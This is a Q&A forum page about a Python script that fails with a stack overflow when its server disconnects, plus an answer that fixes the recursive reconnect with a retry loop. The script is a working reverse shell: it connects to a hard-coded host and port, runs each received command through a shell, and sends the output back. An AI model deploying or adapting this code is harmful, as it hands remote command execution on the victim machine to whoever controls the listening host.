King Gamer
King Gamer

Reputation: 23

Can't recover from a stack overflow

This is a little script I made while learning Python, but for some reason it tells me the it can't recover from the stack over flow. This happens when the another server disconnect.

The script:

#/user/bin/python
import os
import socket
import subprocess
import errno
import threading
s = socket.socket()
host = '192.168.1.6'
port = 9999

def connect():
    try:
        s.connect((host,port))
    except Exception as msg:
        print("ERROR HAPPEND 2 ")
        connect()
    else:
        Work()

def Work():
    while True:
        data = s.recv(1024)
        print("Data : " + data.decode('utf-8'))
        if data[:2].decode("utf-8") == 'cd':
            os.chdir(data[3:].decode('utf-8'))
        if len(data) >0:
            cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True,
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE,
                                   stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str(output_bytes , "utf-8")
            s.send(str.encode(output_str + str(os.getcwd()) + '> '))
        else:
            s.shutdown(socket.SHUT_RDWR)
            s.close()
            thread1 = threading.Thread(target = connect)
            thread1.start()
            break

connect()

Upvotes: 1

Views: 139

Answers (1)

Jean-François Fabre
Jean-François Fabre

Reputation: 140168

This code is wrong:

def connect():
    try:
        s.connect((host,port))
    except Exception as msg:
        print("ERROR HAPPEND 2 ")
        connect()
    else:
        Work()

If connection fails for some reason (refused, or even syntax error in the try/except block since you're not filtering the exception type), then you're printing the error message and try again by calling recursively your function.

Since the socket error is very likely to happen again since you're retrying immediately the same operation without changing anything (starting the other program for instance!), you get a stack overflow very quickly.

Fix, first step: let your connection crash with a proper error message

def connect():
    s.connect((host,port))
    Work()

Fix, second step: if you think that the connection can be established later, you can catch the exception, wait a while and retry, for example like this:

def connect():
    while True:
        try:
            s.connect((host,port))
            break  # connection OK, proceeed to Work
        except ConnectionRefusedError as e:
            print("{}, retry in 10s ...".format(str(e)))
            time.sleep(10)
    Work()

In your case, just after the socket is closed, you create another thread that calls connect, and fails to do so, recursively, which explains the problem you're experiencing when disconnecting the other side.

Upvotes: 1

Related Questions